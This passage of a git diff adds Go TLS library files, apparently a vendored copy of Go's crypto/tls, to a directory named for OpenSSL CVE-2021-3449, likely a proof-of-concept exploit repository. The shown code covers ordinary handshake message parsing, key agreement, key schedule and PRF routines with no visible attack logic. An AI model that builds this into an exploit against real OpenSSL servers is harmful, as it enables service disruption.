m.ocspStapling = true + case extensionSCT: + m.scts = true + case extensionSignatureAlgorithms: + var sigAndAlgs cryptobyte.String + if !extData.ReadUint16LengthPrefixed(&sigAndAlgs) || sigAndAlgs.Empty() { + return false + } + for !sigAndAlgs.Empty() { + var sigAndAlg uint16 + if !sigAndAlgs.ReadUint16(&sigAndAlg) { + return false + } + m.supportedSignatureAlgorithms = append( + m.supportedSignatureAlgorithms, SignatureScheme(sigAndAlg)) + } + case extensionSignatureAlgorithmsCert: + var sigAndAlgs cryptobyte.String + if !extData.ReadUint16LengthPrefixed(&sigAndAlgs) || sigAndAlgs.Empty() { + return false + } + for !sigAndAlgs.Empty() { + var sigAndAlg uint16 + if !sigAndAlgs.ReadUint16(&sigAndAlg) { + return false + } + m.supportedSignatureAlgorithmsCert = append( + m.supportedSignatureAlgorithmsCert, SignatureScheme(sigAndAlg)) + } + case extensionCertificateAuthorities: + var auths cryptobyte.String + if !extData.ReadUint16LengthPrefixed(&auths) || auths.Empty() { + return false + } + for !auths.Empty() { + var ca []byte + if !readUint16LengthPrefixed(&auths, &ca) || len(ca) == 0 { + return false + } + m.certificateAuthorities = append(m.certificateAuthorities, ca) + } + default: + // Ignore unknown extensions. + continue + } + + if !extData.Empty() { + return false + } + } + + return true +} + +type certificateMsg struct { + raw []byte + certificates [][]byte +} + +func (m *certificateMsg) marshal() (x []byte) { + if m.raw != nil { + return m.raw + } + + var i int + for _, slice := range m.certificates { + i += len(slice) + } + + length := 3 + 3*len(m.certificates) + i + x = make([]byte, 4+length) + x[0] = typeCertificate + x[1] = uint8(length >> 16) + x[2] = uint8(length >> 8) + x[3] = uint8(length) + + certificateOctets := length - 3 + x[4] = uint8(certificateOctets >> 16) + x[5] = uint8(certificateOctets >> 8) + x[6] = uint8(certificateOctets) + + y := x[7:] + for _, slice := range m.certificates { + y[0] = uint8(len(slice) >> 16) + y[1] = uint8(len(slice) >> 8) + y[2] = uint8(len(slice)) + copy(y[3:], slice) + y = y[3+len(slice):] + } + + m.raw = x + return +} + +func (m *certificateMsg) unmarshal(data []byte) bool { + if len(data) < 7 { + return false + } + + m.raw = data + certsLen := uint32(data[4])<<16 | uint32(data[5])<<8 | uint32(data[6]) + if uint32(len(data)) != certsLen+7 { + return false + } + + numCerts := 0 + d := data[7:] + for certsLen > 0 { + if len(d) < 4 { + return false + } + certLen := uint32(d[0])<<16 | uint32(d[1])<<8 | uint32(d[2]) + if uint32(len(d)) < 3+certLen { + return false + } + d = d[3+certLen:] + certsLen -= 3 + certLen + numCerts++ + } + + m.certificates = make([][]byte, numCerts) + d = data[7:] + for i := 0; i < numCerts; i++ { + certLen := uint32(d[0])<<16 | uint32(d[1])<<8 | uint32(d[2]) + m.certificates[i] = d[3 : 3+certLen] + d = d[3+certLen:] + } + + return true +} + +type certificateMsgTLS13 struct { + raw []byte + certificate Certificate + ocspStapling bool + scts bool +} + +func (m *certificateMsgTLS13) marshal() []byte { + if m.raw != nil { + return m.raw + } + + var b cryptobyte.Builder + b.AddUint8(typeCertificate) + b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint8(0) // certificate_request_context + + certificate := m.certificate + if !m.ocspStapling { + certificate.OCSPStaple = nil + } + if !m.scts { + certificate.SignedCertificateTimestamps = nil + } + marshalCertificate(b, certificate) + }) + + m.raw = b.BytesOrPanic() + return m.raw +} + +func marshalCertificate(b *cryptobyte.Builder, certificate Certificate) { + b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) { + for i, cert := range certificate.Certificate { + b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddBytes(cert) + }) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + if i > 0 { + // This library only supports OCSP and SCT for leaf certificates. + return + } + if certificate.OCSPStaple != nil { + b.AddUint16(extensionStatusRequest) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint8(statusTypeOCSP) + b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddBytes(certificate.OCSPStaple) + }) + }) + } + if certificate.SignedCertificateTimestamps != nil { + b.AddUint16(extensionSCT) + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + for _, sct := range certificate.SignedCertificateTimestamps { + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddBytes(sct) + }) + } + }) + }) + } + }) + } + }) +} + +func (m *certificateMsgTLS13) unmarshal(data []byte) bool { + *m = certificateMsgTLS13{raw: data} + s := cryptobyte.String(data) + + var context cryptobyte.String + if !s.Skip(4) || // message type and uint24 length field + !s.ReadUint8LengthPrefixed(&context) || !context.Empty() || + !unmarshalCertificate(&s, &m.certificate) || + !s.Empty() { + return false + } + + m.scts = m.certificate.SignedCertificateTimestamps != nil + m.ocspStapling = m.certificate.OCSPStaple != nil + + return true +} + +func unmarshalCertificate(s *cryptobyte.String, certificate *Certificate) bool { + var certList cryptobyte.String + if !s.ReadUint24LengthPrefixed(&certList) { + return false + } + for !certList.Empty() { + var cert []byte + var extensions cryptobyte.String + if !readUint24LengthPrefixed(&certList, &cert) || + !certList.ReadUint16LengthPrefixed(&extensions) { + return false + } + certificate.Certificate = append(certificate.Certificate, cert) + for !extensions.Empty() { + var extension uint16 + var extData cryptobyte.String + if !extensions.ReadUint16(&extension) || + !extensions.ReadUint16LengthPrefixed(&extData) { + return false + } + if len(certificate.Certificate) > 1 { + // This library only supports OCSP and SCT for leaf certificates. + continue + } + + switch extension { + case extensionStatusRequest: + var statusType uint8 + if !extData.ReadUint8(&statusType) || statusType != statusTypeOCSP || + !readUint24LengthPrefixed(&extData, &certificate.OCSPStaple) || + len(certificate.OCSPStaple) == 0 { + return false + } + case extensionSCT: + var sctList cryptobyte.String + if !extData.ReadUint16LengthPrefixed(&sctList) || sctList.Empty() { + return false + } + for !sctList.Empty() { + var sct []byte + if !readUint16LengthPrefixed(&sctList, &sct) || + len(sct) == 0 { + return false + } + certificate.SignedCertificateTimestamps = append( + certificate.SignedCertificateTimestamps, sct) + } + default: + // Ignore unknown extensions. + continue + } + + if !extData.Empty() { + return false + } + } + } + return true +} + +type serverKeyExchangeMsg struct { + raw []byte + key []byte +} + +func (m *serverKeyExchangeMsg) marshal() []byte { + if m.raw != nil { + return m.raw + } + length := len(m.key) + x := make([]byte, length+4) + x[0] = typeServerKeyExchange + x[1] = uint8(length >> 16) + x[2] = uint8(length >> 8) + x[3] = uint8(length) + copy(x[4:], m.key) + + m.raw = x + return x +} + +func (m *serverKeyExchangeMsg) unmarshal(data []byte) bool { + m.raw = data + if len(data) < 4 { + return false + } + m.key = data[4:] + return true +} + +type certificateStatusMsg struct { + raw []byte + response []byte +} + +func (m *certificateStatusMsg) marshal() []byte { + if m.raw != nil { + return m.raw + } + + var b cryptobyte.Builder + b.AddUint8(typeCertificateStatus) + b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddUint8(statusTypeOCSP) + b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddBytes(m.response) + }) + }) + + m.raw = b.BytesOrPanic() + return m.raw +} + +func (m *certificateStatusMsg) unmarshal(data []byte) bool { + m.raw = data + s := cryptobyte.String(data) + + var statusType uint8 + if !s.Skip(4) || // message type and uint24 length field + !s.ReadUint8(&statusType) || statusType != statusTypeOCSP || + !readUint24LengthPrefixed(&s, &m.response) || + len(m.response) == 0 || !s.Empty() { + return false + } + return true +} + +type serverHelloDoneMsg struct{} + +func (m *serverHelloDoneMsg) marshal() []byte { + x := make([]byte, 4) + x[0] = typeServerHelloDone + return x +} + +func (m *serverHelloDoneMsg) unmarshal(data []byte) bool { + return len(data) == 4 +} + +type clientKeyExchangeMsg struct { + raw []byte + ciphertext []byte +} + +func (m *clientKeyExchangeMsg) marshal() []byte { + if m.raw != nil { + return m.raw + } + length := len(m.ciphertext) + x := make([]byte, length+4) + x[0] = typeClientKeyExchange + x[1] = uint8(length >> 16) + x[2] = uint8(length >> 8) + x[3] = uint8(length) + copy(x[4:], m.ciphertext) + + m.raw = x + return x +} + +func (m *clientKeyExchangeMsg) unmarshal(data []byte) bool { + m.raw = data + if len(data) < 4 { + return false + } + l := int(data[1])<<16 | int(data[2])<<8 | int(data[3]) + if l != len(data)-4 { + return false + } + m.ciphertext = data[4:] + return true +} + +type finishedMsg struct { + raw []byte + verifyData []byte +} + +func (m *finishedMsg) marshal() []byte { + if m.raw != nil { + return m.raw + } + + var b cryptobyte.Builder + b.AddUint8(typeFinished) + b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddBytes(m.verifyData) + }) + + m.raw = b.BytesOrPanic() + return m.raw +} + +func (m *finishedMsg) unmarshal(data []byte) bool { + m.raw = data + s := cryptobyte.String(data) + return s.Skip(1) && + readUint24LengthPrefixed(&s, &m.verifyData) && + s.Empty() +} + +type certificateRequestMsg struct { + raw []byte + // hasSignatureAlgorithm indicates whether this message includes a list of + // supported signature algorithms. This change was introduced with TLS 1.2. + hasSignatureAlgorithm bool + + certificateTypes []byte + supportedSignatureAlgorithms []SignatureScheme + certificateAuthorities [][]byte +} + +func (m *certificateRequestMsg) marshal() (x []byte) { + if m.raw != nil { + return m.raw + } + + // See RFC 4346, Section 7.4.4. + length := 1 + len(m.certificateTypes) + 2 + casLength := 0 + for _, ca := range m.certificateAuthorities { + casLength += 2 + len(ca) + } + length += casLength + + if m.hasSignatureAlgorithm { + length += 2 + 2*len(m.supportedSignatureAlgorithms) + } + + x = make([]byte, 4+length) + x[0] = typeCertificateRequest + x[1] = uint8(length >> 16) + x[2] = uint8(length >> 8) + x[3] = uint8(length) + + x[4] = uint8(len(m.certificateTypes)) + + copy(x[5:], m.certificateTypes) + y := x[5+len(m.certificateTypes):] + + if m.hasSignatureAlgorithm { + n := len(m.supportedSignatureAlgorithms) * 2 + y[0] = uint8(n >> 8) + y[1] = uint8(n) + y = y[2:] + for _, sigAlgo := range m.supportedSignatureAlgorithms { + y[0] = uint8(sigAlgo >> 8) + y[1] = uint8(sigAlgo) + y = y[2:] + } + } + + y[0] = uint8(casLength >> 8) + y[1] = uint8(casLength) + y = y[2:] + for _, ca := range m.certificateAuthorities { + y[0] = uint8(len(ca) >> 8) + y[1] = uint8(len(ca)) + y = y[2:] + copy(y, ca) + y = y[len(ca):] + } + + m.raw = x + return +} + +func (m *certificateRequestMsg) unmarshal(data []byte) bool { + m.raw = data + + if len(data) < 5 { + return false + } + + length := uint32(data[1])<<16 | uint32(data[2])<<8 | uint32(data[3]) + if uint32(len(data))-4 != length { + return false + } + + numCertTypes := int(data[4]) + data = data[5:] + if numCertTypes == 0 || len(data) <= numCertTypes { + return false + } + + m.certificateTypes = make([]byte, numCertTypes) + if copy(m.certificateTypes, data) != numCertTypes { + return false + } + + data = data[numCertTypes:] + + if m.hasSignatureAlgorithm { + if len(data) < 2 { + return false + } + sigAndHashLen := uint16(data[0])<<8 | uint16(data[1]) + data = data[2:] + if sigAndHashLen&1 != 0 { + return false + } + if len(data) < int(sigAndHashLen) { + return false + } + numSigAlgos := sigAndHashLen / 2 + m.supportedSignatureAlgorithms = make([]SignatureScheme, numSigAlgos) + for i := range m.supportedSignatureAlgorithms { + m.supportedSignatureAlgorithms[i] = SignatureScheme(data[0])<<8 | SignatureScheme(data[1]) + data = data[2:] + } + } + + if len(data) < 2 { + return false + } + casLength := uint16(data[0])<<8 | uint16(data[1]) + data = data[2:] + if len(data) < int(casLength) { + return false + } + cas := make([]byte, casLength) + copy(cas, data) + data = data[casLength:] + + m.certificateAuthorities = nil + for len(cas) > 0 { + if len(cas) < 2 { + return false + } + caLen := uint16(cas[0])<<8 | uint16(cas[1]) + cas = cas[2:] + + if len(cas) < int(caLen) { + return false + } + + m.certificateAuthorities = append(m.certificateAuthorities, cas[:caLen]) + cas = cas[caLen:] + } + + return len(data) == 0 +} + +type certificateVerifyMsg struct { + raw []byte + hasSignatureAlgorithm bool // format change introduced in TLS 1.2 + signatureAlgorithm SignatureScheme + signature []byte +} + +func (m *certificateVerifyMsg) marshal() (x []byte) { + if m.raw != nil { + return m.raw + } + + var b cryptobyte.Builder + b.AddUint8(typeCertificateVerify) + b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) { + if m.hasSignatureAlgorithm { + b.AddUint16(uint16(m.signatureAlgorithm)) + } + b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { + b.AddBytes(m.signature) + }) + }) + + m.raw = b.BytesOrPanic() + return m.raw +} + +func (m *certificateVerifyMsg) unmarshal(data []byte) bool { + m.raw = data + s := cryptobyte.String(data) + + if !s.Skip(4) { // message type and uint24 length field + return false + } + if m.hasSignatureAlgorithm { + if !s.ReadUint16((*uint16)(&m.signatureAlgorithm)) { + return false + } + } + return readUint16LengthPrefixed(&s, &m.signature) && s.Empty() +} + +type newSessionTicketMsg struct { + raw []byte + ticket []byte +} + +func (m *newSessionTicketMsg) marshal() (x []byte) { + if m.raw != nil { + return m.raw + } + + // See RFC 5077, Section 3.3. + ticketLen := len(m.ticket) + length := 2 + 4 + ticketLen + x = make([]byte, 4+length) + x[0] = typeNewSessionTicket + x[1] = uint8(length >> 16) + x[2] = uint8(length >> 8) + x[3] = uint8(length) + x[8] = uint8(ticketLen >> 8) + x[9] = uint8(ticketLen) + copy(x[10:], m.ticket) + + m.raw = x + + return +} + +func (m *newSessionTicketMsg) unmarshal(data []byte) bool { + m.raw = data + + if len(data) < 10 { + return false + } + + length := uint32(data[1])<<16 | uint32(data[2])<<8 | uint32(data[3]) + if uint32(len(data))-4 != length { + return false + } + + ticketLen := int(data[8])<<8 + int(data[9]) + if len(data)-10 != ticketLen { + return false + } + + m.ticket = data[10:] + + return true +} + +type helloRequestMsg struct { +} + +func (*helloRequestMsg) marshal() []byte { + return []byte{typeHelloRequest, 0, 0, 0} +} + +func (*helloRequestMsg) unmarshal(data []byte) bool { + return len(data) == 4 +} diff --git a/cve/openssl/2021/CVE-2021-3449/tls/key_agreement.go b/cve/openssl/2021/CVE-2021-3449/tls/key_agreement.go new file mode 100644 index 00000000..03aa861a --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/tls/key_agreement.go @@ -0,0 +1,334 @@ +// Copyright 2010 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package tls + +import ( + "crypto" + "crypto/md5" + "crypto/rsa" + "crypto/sha1" + "crypto/x509" + "errors" + "fmt" + "io" +) + +var errClientKeyExchange = errors.New("tls: invalid ClientKeyExchange message") +var errServerKeyExchange = errors.New("tls: invalid ServerKeyExchange message") + +// rsaKeyAgreement implements the standard TLS key agreement where the client +// encrypts the pre-master secret to the server's public key. +type rsaKeyAgreement struct{} + +func (ka rsaKeyAgreement) generateServerKeyExchange(config *Config, cert *Certificate, clientHello *clientHelloMsg, hello *serverHelloMsg) (*serverKeyExchangeMsg, error) { + return nil, nil +} + +func (ka rsaKeyAgreement) processClientKeyExchange(config *Config, cert *Certificate, ckx *clientKeyExchangeMsg, version uint16) ([]byte, error) { + if len(ckx.ciphertext) < 2 { + return nil, errClientKeyExchange + } + ciphertextLen := int(ckx.ciphertext[0])<<8 | int(ckx.ciphertext[1]) + if ciphertextLen != len(ckx.ciphertext)-2 { + return nil, errClientKeyExchange + } + ciphertext := ckx.ciphertext[2:] + + priv, ok := cert.PrivateKey.(crypto.Decrypter) + if !ok { + return nil, errors.New("tls: certificate private key does not implement crypto.Decrypter") + } + // Perform constant time RSA PKCS#1 v1.5 decryption + preMasterSecret, err := priv.Decrypt(config.rand(), ciphertext, &rsa.PKCS1v15DecryptOptions{SessionKeyLen: 48}) + if err != nil { + return nil, err + } + // We don't check the version number in the premaster secret. For one, + // by checking it, we would leak information about the validity of the + // encrypted pre-master secret. Secondly, it provides only a small + // benefit against a downgrade attack and some implementations send the + // wrong version anyway. See the discussion at the end of section + // 7.4.7.1 of RFC 4346. + return preMasterSecret, nil +} + +func (ka rsaKeyAgreement) processServerKeyExchange(config *Config, clientHello *clientHelloMsg, serverHello *serverHelloMsg, cert *x509.Certificate, skx *serverKeyExchangeMsg) error { + return errors.New("tls: unexpected ServerKeyExchange") +} + +func (ka rsaKeyAgreement) generateClientKeyExchange(config *Config, clientHello *clientHelloMsg, cert *x509.Certificate) ([]byte, *clientKeyExchangeMsg, error) { + preMasterSecret := make([]byte, 48) + preMasterSecret[0] = byte(clientHello.vers >> 8) + preMasterSecret[1] = byte(clientHello.vers) + _, err := io.ReadFull(config.rand(), preMasterSecret[2:]) + if err != nil { + return nil, nil, err + } + + encrypted, err := rsa.EncryptPKCS1v15(config.rand(), cert.PublicKey.(*rsa.PublicKey), preMasterSecret) + if err != nil { + return nil, nil, err + } + ckx := new(clientKeyExchangeMsg) + ckx.ciphertext = make([]byte, len(encrypted)+2) + ckx.ciphertext[0] = byte(len(encrypted) >> 8) + ckx.ciphertext[1] = byte(len(encrypted)) + copy(ckx.ciphertext[2:], encrypted) + return preMasterSecret, ckx, nil +} + +// sha1Hash calculates a SHA1 hash over the given byte slices. +func sha1Hash(slices [][]byte) []byte { + hsha1 := sha1.New() + for _, slice := range slices { + hsha1.Write(slice) + } + return hsha1.Sum(nil) +} + +// md5SHA1Hash implements TLS 1.0's hybrid hash function which consists of the +// concatenation of an MD5 and SHA1 hash. +func md5SHA1Hash(slices [][]byte) []byte { + md5sha1 := make([]byte, md5.Size+sha1.Size) + hmd5 := md5.New() + for _, slice := range slices { + hmd5.Write(slice) + } + copy(md5sha1, hmd5.Sum(nil)) + copy(md5sha1[md5.Size:], sha1Hash(slices)) + return md5sha1 +} + +// hashForServerKeyExchange hashes the given slices and returns their digest +// using the given hash function (for >= TLS 1.2) or using a default based on +// the sigType (for earlier TLS versions). For Ed25519 signatures, which don't +// do pre-hashing, it returns the concatenation of the slices. +func hashForServerKeyExchange(sigType uint8, hashFunc crypto.Hash, version uint16, slices ...[]byte) []byte { + if sigType == signatureEd25519 { + var signed []byte + for _, slice := range slices { + signed = append(signed, slice...) + } + return signed + } + if version >= VersionTLS12 { + h := hashFunc.New() + for _, slice := range slices { + h.Write(slice) + } + digest := h.Sum(nil) + return digest + } + if sigType == signatureECDSA { + return sha1Hash(slices) + } + return md5SHA1Hash(slices) +} + +// ecdheKeyAgreement implements a TLS key agreement where the server +// generates an ephemeral EC public/private key pair and signs it. The +// pre-master secret is then calculated using ECDH. The signature may +// be ECDSA, Ed25519 or RSA. +type ecdheKeyAgreement struct { + version uint16 + isRSA bool + params ecdheParameters + + // ckx and preMasterSecret are generated in processServerKeyExchange + // and returned in generateClientKeyExchange. + ckx *clientKeyExchangeMsg + preMasterSecret []byte +} + +func (ka *ecdheKeyAgreement) generateServerKeyExchange(config *Config, cert *Certificate, clientHello *clientHelloMsg, hello *serverHelloMsg) (*serverKeyExchangeMsg, error) { + var curveID CurveID + for _, c := range clientHello.supportedCurves { + if config.supportsCurve(c) { + curveID = c + break + } + } + + if curveID == 0 { + return nil, errors.New("tls: no supported elliptic curves offered") + } + if _, ok := curveForCurveID(curveID); curveID != X25519 && !ok { + return nil, errors.New("tls: CurvePreferences includes unsupported curve") + } + + params, err := generateECDHEParameters(config.rand(), curveID) + if err != nil { + return nil, err + } + ka.params = params + + // See RFC 4492, Section 5.4. + ecdhePublic := params.PublicKey() + serverECDHEParams := make([]byte, 1+2+1+len(ecdhePublic)) + serverECDHEParams[0] = 3 // named curve + serverECDHEParams[1] = byte(curveID >> 8) + serverECDHEParams[2] = byte(curveID) + serverECDHEParams[3] = byte(len(ecdhePublic)) + copy(serverECDHEParams[4:], ecdhePublic) + + priv, ok := cert.PrivateKey.(crypto.Signer) + if !ok { + return nil, fmt.Errorf("tls: certificate private key of type %T does not implement crypto.Signer", cert.PrivateKey) + } + + var signatureAlgorithm SignatureScheme + var sigType uint8 + var sigHash crypto.Hash + if ka.version >= VersionTLS12 { + signatureAlgorithm, err = selectSignatureScheme(ka.version, cert, clientHello.supportedSignatureAlgorithms) + if err != nil { + return nil, err + } + sigType, sigHash, err = typeAndHashFromSignatureScheme(signatureAlgorithm) + if err != nil { + return nil, err + } + } else { + sigType, sigHash, err = legacyTypeAndHashFromPublicKey(priv.Public()) + if err != nil { + return nil, err + } + } + if (sigType == signaturePKCS1v15 || sigType == signatureRSAPSS) != ka.isRSA { + return nil, errors.New("tls: certificate cannot be used with the selected cipher suite") + } + + signed := hashForServerKeyExchange(sigType, sigHash, ka.version, clientHello.random, hello.random, serverECDHEParams) + + signOpts := crypto.SignerOpts(sigHash) + if sigType == signatureRSAPSS { + signOpts = &rsa.PSSOptions{SaltLength: rsa.PSSSaltLengthEqualsHash, Hash: sigHash} + } + sig, err := priv.Sign(config.rand(), signed, signOpts) + if err != nil { + return nil, errors.New("tls: failed to sign ECDHE parameters: " + err.Error()) + } + + skx := new(serverKeyExchangeMsg) + sigAndHashLen := 0 + if ka.version >= VersionTLS12 { + sigAndHashLen = 2 + } + skx.key = make([]byte, len(serverECDHEParams)+sigAndHashLen+2+len(sig)) + copy(skx.key, serverECDHEParams) + k := skx.key[len(serverECDHEParams):] + if ka.version >= VersionTLS12 { + k[0] = byte(signatureAlgorithm >> 8) + k[1] = byte(signatureAlgorithm) + k = k[2:] + } + k[0] = byte(len(sig) >> 8) + k[1] = byte(len(sig)) + copy(k[2:], sig) + + return skx, nil +} + +func (ka *ecdheKeyAgreement) processClientKeyExchange(config *Config, cert *Certificate, ckx *clientKeyExchangeMsg, version uint16) ([]byte, error) { + if len(ckx.ciphertext) == 0 || int(ckx.ciphertext[0]) != len(ckx.ciphertext)-1 { + return nil, errClientKeyExchange + } + + preMasterSecret := ka.params.SharedKey(ckx.ciphertext[1:]) + if preMasterSecret == nil { + return nil, errClientKeyExchange + } + + return preMasterSecret, nil +} + +func (ka *ecdheKeyAgreement) processServerKeyExchange(config *Config, clientHello *clientHelloMsg, serverHello *serverHelloMsg, cert *x509.Certificate, skx *serverKeyExchangeMsg) error { + if len(skx.key) < 4 { + return errServerKeyExchange + } + if skx.key[0] != 3 { // named curve + return errors.New("tls: server selected unsupported curve") + } + curveID := CurveID(skx.key[1])<<8 | CurveID(skx.key[2]) + + publicLen := int(skx.key[3]) + if publicLen+4 > len(skx.key) { + return errServerKeyExchange + } + serverECDHEParams := skx.key[:4+publicLen] + publicKey := serverECDHEParams[4:] + + sig := skx.key[4+publicLen:] + if len(sig) < 2 { + return errServerKeyExchange + } + + if _, ok := curveForCurveID(curveID); curveID != X25519 && !ok { + return errors.New("tls: server selected unsupported curve") + } + + params, err := generateECDHEParameters(config.rand(), curveID) + if err != nil { + return err + } + ka.params = params + + ka.preMasterSecret = params.SharedKey(publicKey) + if ka.preMasterSecret == nil { + return errServerKeyExchange + } + + ourPublicKey := params.PublicKey() + ka.ckx = new(clientKeyExchangeMsg) + ka.ckx.ciphertext = make([]byte, 1+len(ourPublicKey)) + ka.ckx.ciphertext[0] = byte(len(ourPublicKey)) + copy(ka.ckx.ciphertext[1:], ourPublicKey) + + var sigType uint8 + var sigHash crypto.Hash + if ka.version >= VersionTLS12 { + signatureAlgorithm := SignatureScheme(sig[0])<<8 | SignatureScheme(sig[1]) + sig = sig[2:] + if len(sig) < 2 { + return errServerKeyExchange + } + + if !isSupportedSignatureAlgorithm(signatureAlgorithm, clientHello.supportedSignatureAlgorithms) { + return errors.New("tls: certificate used with invalid signature algorithm") + } + sigType, sigHash, err = typeAndHashFromSignatureScheme(signatureAlgorithm) + if err != nil { + return err + } + } else { + sigType, sigHash, err = legacyTypeAndHashFromPublicKey(cert.PublicKey) + if err != nil { + return err + } + } + if (sigType == signaturePKCS1v15 || sigType == signatureRSAPSS) != ka.isRSA { + return errServerKeyExchange + } + + sigLen := int(sig[0])<<8 | int(sig[1]) + if sigLen+2 != len(sig) { + return errServerKeyExchange + } + sig = sig[2:] + + signed := hashForServerKeyExchange(sigType, sigHash, ka.version, clientHello.random, serverHello.random, serverECDHEParams) + if err := verifyHandshakeSignature(sigType, cert.PublicKey, sigHash, signed, sig); err != nil { + return errors.New("tls: invalid signature by the server certificate: " + err.Error()) + } + return nil +} + +func (ka *ecdheKeyAgreement) generateClientKeyExchange(config *Config, clientHello *clientHelloMsg, cert *x509.Certificate) ([]byte, *clientKeyExchangeMsg, error) { + if ka.ckx == nil { + return nil, nil, errors.New("tls: missing ServerKeyExchange message") + } + + return ka.preMasterSecret, ka.ckx, nil +} diff --git a/cve/openssl/2021/CVE-2021-3449/tls/key_schedule.go b/cve/openssl/2021/CVE-2021-3449/tls/key_schedule.go new file mode 100644 index 00000000..736c30fa --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/tls/key_schedule.go @@ -0,0 +1,128 @@ +// Copyright 2018 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package tls + +import ( + "crypto/elliptic" + "errors" + "io" + "math/big" + + "golang.org/x/crypto/curve25519" +) + +// This file contains the functions necessary to compute the TLS 1.3 key +// schedule. See RFC 8446, Section 7. + +const ( + resumptionBinderLabel = "res binder" + clientHandshakeTrafficLabel = "c hs traffic" + serverHandshakeTrafficLabel = "s hs traffic" + clientApplicationTrafficLabel = "c ap traffic" + serverApplicationTrafficLabel = "s ap traffic" + exporterLabel = "exp master" + resumptionLabel = "res master" + trafficUpdateLabel = "traffic upd" +) + +// ecdheParameters implements Diffie-Hellman with either NIST curves or X25519, +// according to RFC 8446, Section 4.2.8.2. +type ecdheParameters interface { + CurveID() CurveID + PublicKey() []byte + SharedKey(peerPublicKey []byte) []byte +} + +func generateECDHEParameters(rand io.Reader, curveID CurveID) (ecdheParameters, error) { + if curveID == X25519 { + privateKey := make([]byte, curve25519.ScalarSize) + if _, err := io.ReadFull(rand, privateKey); err != nil { + return nil, err + } + publicKey, err := curve25519.X25519(privateKey, curve25519.Basepoint) + if err != nil { + return nil, err + } + return &x25519Parameters{privateKey: privateKey, publicKey: publicKey}, nil + } + + curve, ok := curveForCurveID(curveID) + if !ok { + return nil, errors.New("tls: internal error: unsupported curve") + } + + p := &nistParameters{curveID: curveID} + var err error + p.privateKey, p.x, p.y, err = elliptic.GenerateKey(curve, rand) + if err != nil { + return nil, err + } + return p, nil +} + +func curveForCurveID(id CurveID) (elliptic.Curve, bool) { + switch id { + case CurveP256: + return elliptic.P256(), true + case CurveP384: + return elliptic.P384(), true + case CurveP521: + return elliptic.P521(), true + default: + return nil, false + } +} + +type nistParameters struct { + privateKey []byte + x, y *big.Int // public key + curveID CurveID +} + +func (p *nistParameters) CurveID() CurveID { + return p.curveID +} + +func (p *nistParameters) PublicKey() []byte { + curve, _ := curveForCurveID(p.curveID) + return elliptic.Marshal(curve, p.x, p.y) +} + +func (p *nistParameters) SharedKey(peerPublicKey []byte) []byte { + curve, _ := curveForCurveID(p.curveID) + // Unmarshal also checks whether the given point is on the curve. + x, y := elliptic.Unmarshal(curve, peerPublicKey) + if x == nil { + return nil + } + + xShared, _ := curve.ScalarMult(x, y, p.privateKey) + sharedKey := make([]byte, (curve.Params().BitSize+7)>>3) + xBytes := xShared.Bytes() + copy(sharedKey[len(sharedKey)-len(xBytes):], xBytes) + + return sharedKey +} + +type x25519Parameters struct { + privateKey []byte + publicKey []byte +} + +func (p *x25519Parameters) CurveID() CurveID { + return X25519 +} + +func (p *x25519Parameters) PublicKey() []byte { + return p.publicKey[:] +} + +func (p *x25519Parameters) SharedKey(peerPublicKey []byte) []byte { + sharedKey, err := curve25519.X25519(p.privateKey, peerPublicKey) + if err != nil { + return nil + } + return sharedKey +} diff --git a/cve/openssl/2021/CVE-2021-3449/tls/prf.go b/cve/openssl/2021/CVE-2021-3449/tls/prf.go new file mode 100644 index 00000000..b60166de --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/tls/prf.go @@ -0,0 +1,283 @@ +// Copyright 2009 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package tls + +import ( + "crypto" + "crypto/hmac" + "crypto/md5" + "crypto/sha1" + "crypto/sha256" + "crypto/sha512" + "errors" + "fmt" + "hash" +) + +// Split a premaster secret in two as specified in RFC 4346, Section 5. +func splitPreMasterSecret(secret []byte) (s1, s2 []byte) { + s1 = secret[0 : (len(secret)+1)/2] + s2 = secret[len(secret)/2:] + return +} + +// pHash implements the P_hash function, as defined in RFC 4346, Section 5. +func pHash(result, secret, seed []byte, hash func() hash.Hash) { + h := hmac.New(hash, secret) + h.Write(seed) + a := h.Sum(nil) + + j := 0 + for j < len(result) { + h.Reset() + h.Write(a) + h.Write(seed) + b := h.Sum(nil) + copy(result[j:], b) + j += len(b) + + h.Reset() + h.Write(a) + a = h.Sum(nil) + } +} + +// prf10 implements the TLS 1.0 pseudo-random function, as defined in RFC 2246, Section 5. +func prf10(result, secret, label, seed []byte) { + hashSHA1 := sha1.New + hashMD5 := md5.New + + labelAndSeed := make([]byte, len(label)+len(seed)) + copy(labelAndSeed, label) + copy(labelAndSeed[len(label):], seed) + + s1, s2 := splitPreMasterSecret(secret) + pHash(result, s1, labelAndSeed, hashMD5) + result2 := make([]byte, len(result)) + pHash(result2, s2, labelAndSeed, hashSHA1) + + for i, b := range result2 { + result[i] ^= b + } +} + +// prf12 implements the TLS 1.2 pseudo-random function, as defined in RFC 5246, Section 5. +func prf12(hashFunc func() hash.Hash) func(result, secret, label, seed []byte) { + return func(result, secret, label, seed []byte) { + labelAndSeed := make([]byte, len(label)+len(seed)) + copy(labelAndSeed, label) + copy(labelAndSeed[len(label):], seed) + + pHash(result, secret, labelAndSeed, hashFunc) + } +} + +const ( + masterSecretLength = 48 // Length of a master secret in TLS 1.1. + finishedVerifyLength = 12 // Length of verify_data in a Finished message. +) + +var 